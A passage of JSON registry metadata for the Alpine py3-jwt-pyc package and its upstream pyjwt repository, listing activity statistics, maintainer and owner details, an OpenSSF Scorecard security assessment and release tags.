:25,"past_year_pull_requests_count":77,"past_year_avg_time_to_close_issue":6701487.111111111,"past_year_avg_time_to_close_pull_request":1291611.0,"past_year_issues_closed_count":9,"past_year_pull_requests_closed_count":44,"past_year_pull_request_authors_count":25,"past_year_issue_authors_count":24,"past_year_avg_comments_per_issue":2.64,"past_year_avg_comments_per_pull_request":0.38961038961038963,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":34,"past_year_merged_pull_requests_count":41,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/issues","maintainers":[{"login":"auvipy","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}],"active_maintainers":[{"login":"auvipy","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.14/packages/py3-jwt/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.14/packages/py3-jwt/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.14/packages/py3-jwt/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.14/packages/py3-jwt/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.14/packages/py3-jwt/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.14/packages/py3-jwt/codemeta","maintainers":[],"registry":{"name":"alpine-v3.14","url":"https://pkgs.alpinelinux.org/packages?branch=v3.14","ecosystem":"alpine","default":false,"packages_count":14958,"maintainers_count":258,"namespaces_count":2,"keywords_count":2179,"github":"alpinelinux","metadata":{"repos":["main","community"],"funded_packages_count":675},"icon_url":"https://github.com/alpinelinux.png","created_at":"2023-01-31T17:27:50.706Z","updated_at":"2026-06-10T05:14:53.730Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.14/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.14/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.14/namespaces"}},{"id":7779079,"name":"py3-jwt-pyc","ecosystem":"alpine","description":"Precompiled Python bytecode for py3-jwt","homepage":"https://github.com/jpadilla/pyjwt","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/jpadilla/pyjwt","keywords_array":[],"namespace":"community","versions_count":1,"first_release_published_at":"2023-04-19T14:25:59.000Z","latest_release_published_at":"2023-04-19T14:25:59.000Z","latest_release_number":"2.6.0-r3","last_synced_at":"2026-04-09T04:00:39.034Z","created_at":"2023-05-22T14:27:37.016Z","updated_at":"2026-05-29T04:00:35.121Z","registry_url":"https://pkgs.alpinelinux.org/package/v3.18/community/x86_64/py3-jwt-pyc","install_command":"apk add py3-jwt-pyc","documentation_url":null,"metadata":{"repository":"community","architecture":"x86_64"},"repo_metadata":{"id":1396960,"uuid":"1408162","full_name":"jpadilla/pyjwt","owner":"jpadilla","description":"JSON Web Token implementation in Python","archived":false,"fork":false,"pushed_at":"2026-05-18T22:10:19.000Z","size":1229,"stargazers_count":5660,"open_issues_count":52,"forks_count":756,"subscribers_count":59,"default_branch":"master","last_synced_at":"2026-05-19T00:41:40.142Z","etag":null,"topics":["hacktoberfest","jwt","python"],"latest_commit_sha":null,"homepage":"https://pyjwt.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"jondot/padrino-warden","license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/jpadilla.png","metadata":{"files":{"readme":"README.rst","changelog":"CHANGELOG.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":"AUTHORS.rst","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null},"funding":{"github":["jpadilla"]}},"created_at":"2011-02-24T20:25:09.000Z","updated_at":"2026-05-15T21:30:33.000Z","dependencies_parsed_at":"2025-11-13T02:02:14.919Z","dependency_job_id":null,"html_url":"https://github.com/jpadilla/pyjwt","commit_stats":{"total_commits":666,"total_committers":140,"mean_commits":4.757142857142857,"dds":0.7777777777777778,"last_synced_commit":"d8b12421654840418fd25b86553795c0c09ed0a9"},"previous_names":["progrium/pyjwt"],"tags_count":48,"template":false,"template_full_name":null,"purl":"pkg:github/jpadilla/pyjwt","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/sbom","scorecard":{"id":316997,"data":{"date":"2025-08-11","repo":{"name":"github.com/jpadilla/pyjwt","commit":"f2d0ebe7ec6d95cf92d958f9fcbd60ba1911cd3d"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":7.5,"checks":[{"name":"Code-Review","score":8,"reason":"Found 12/15 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Maintained","score":10,"reason":"11 commit(s) and 3 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/enforce-changelog-entry.yml:8","Warn: no topLevel permission defined: .github/workflows/main.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi-package.yml:16","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/main.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:70: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:96: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:97: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/stale.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/stale.yml/master?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:36","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:37","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:77","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:104","Info:   0 out of  11 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   5 third-party GitHubAction dependencies pinned","Info:   0 out of   5 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/pypi-package.yml:34"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":5,"reason":"SAST tool is not run on all commits -- score normalized to 5","details":["Warn: 16 commits out of 27 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-18T00:25:46.882Z","repository_id":1396960,"created_at":"2025-08-18T00:25:46.882Z","updated_at":"2025-08-18T00:25:46.882Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":33197524,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-18T09:27:30.708Z","status":"ssl_error","status_checked_at":"2026-05-18T09:27:28.300Z","response_time":71,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.5:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"jpadilla","name":"José Padilla","uuid":"83319","kind":"user","description":"@auth0 + @filepreviews ","email":"hello@jpadilla.com","website":"https://jpadilla.com","location":"Hartford, CT","twitter":"jpadilla_","company":"@auth0 ","icon_url":"https://avatars.githubusercontent.com/u/83319?v=4","repositories_count":230,"last_synced_at":"2025-11-23T03:17:15.931Z","metadata":{"has_sponsors_listing":true},"html_url":"https://github.com/jpadilla","funding_links":["https://github.com/sponsors/jpadilla"],"total_stars":12101,"followers":1389,"following":419,"created_at":"2022-11-02T16:29:26.720Z","updated_at":"2025-11-23T03:17:15.932Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla/repositories"},"tags":[{"name":"2.13.0","sha":"7144e4534c34810f4525dc4578a32addd8212cff","kind":"commit","published_at":"2026-05-21T19:34:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.13.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0/manifests"},{"name":"2.12.1","sha":"a4e1a3d1218b01c5806420b8f16d9308ac4adc30","kind":"commit","published_at":"2026-03-13T18:41:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1/manifests"},{"name":"2.12.0","sha":"bd9700cca7f9258fadcc429c1034e508025931f2","kind":"commit","published_at":"2026-03-12T17:08:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0/manifests"},{"name":"2.11.0","sha":"697344d25990641b8b2aa85f0a60634b590b5702","kind":"commit","published_at":"2026-01-30T18:44:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.11.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0/manifests"},{"name":"2.10.1","sha":"3ebbb22f30f2b1b41727b269a08b427e9a85d6bb","kind":"commit","published_at":"2024-11-28T03:30:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1/manifests"},{"name":"2.10.0","sha":"783f324e5d2155462515ced45718fc164dd04db2","kind":"commit","published_at":"2024-11-16T13:57:38.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0/manifests"},{"name":"2.9.0","sha":"868cf4ab2ca5a0a39da40e5a14dd740b203662b2","kind":"commit","published_at":"2024-07-31T12:40:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.9.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0/manifests"},{"name":"2.8.0","sha":"72ad55f6d7041ae698dc0790a690804118be50fc","kind":"commit","published_at":"2023-07-18T18:30:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.8.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0/manifests"},{"name":"2.7.0","sha":"d7c54dbebdab2ae17f7948fd4432b15e1bb82852","kind":"commit","published_at":"2023-05-09T19:04:21.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0/manifests"},{"name":"2.6.0","sha":"7665aa625506a11bae50b56d3e04413a3dc6fdf8","kind":"commit","published_at":"2022-10-20T01:08:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0/manifests"},{"name":"2.5.0","sha":"c9006103b56359b3ad788bb2e380ef17dfe59b05","kind":"commit","published_at":"2022-09-17T13:52:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0/manifests"},{"name":"2.4.0","sha":"83ff831a4d11190e3a0bed781da43f8d84352653","kind":"commit","published_at":"2022-05-12T18:51:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0/manifests"},{"name":"2.3.0","sha":"98620ab2a396a5c887a494259d49552c2093e1ad","kind":"commit","published_at":"2021-10-16T15:46:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0/manifests"},{"name":"2.2.0","sha":"6223ba13780a941a3f4c9dec62f282bdd9b5afb0","kind":"commit","published_at":"2021-10-06T14:03:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0/manifests"},{"name":"2.1.0","sha":"79c23d7d9d32364be8f94680d8eda7135c3a15d5","kind":"commit","published_at":"2021-04-28T11:59:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0/manifests"},{"name":"2.0.1","sha":"3993ce1d3503b58cf74699a89ba9e5c18ef9b556","kind":"commit","published_at":"2021-01-17T17:56:19.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1/manifests"},{"name":"2.0.0","sha":"482364776109cb597af7f679161dcf9c3ef5d0ea","kind":"commit","published_at":"2020-12-22T13:37:35.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0/manifests"},{"name":"2.0.0a2","sha":"5bf8e70f26309b0a5ceda49ce0a7e97e89eee764","kind":"commit","published_at":"2020-12-20T00:02:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2/manifests"},{"name":"2.0.0a1","sha":"8041cb607a733a9b5fffe1e9136d55a40bcea25b","kind":"commit","published_at":"2020-11-02T12:58:11.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1/manifests"},{"name":"1.7.1","sha":"b65e1ac6dc4d11801f3642eaab34ae6a54162c18","kind":"tag","published_at":"2018-12-07T13:40:31.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1/manifests"},{"name":"1.7.0","sha":"3f735fdf68cc865a6241aae1fcf92a410c73fbdb","kind":"tag","published_at":"2018-12-02T03:49:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0/manifests"},{"name":"1.6.4","sha":"d25c92ca5e9980ca7bc8b31420bf36e3f4a9e3f0","kind":"tag","published_at":"2018-05-24T02:47:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.4","html_url":"https://github.c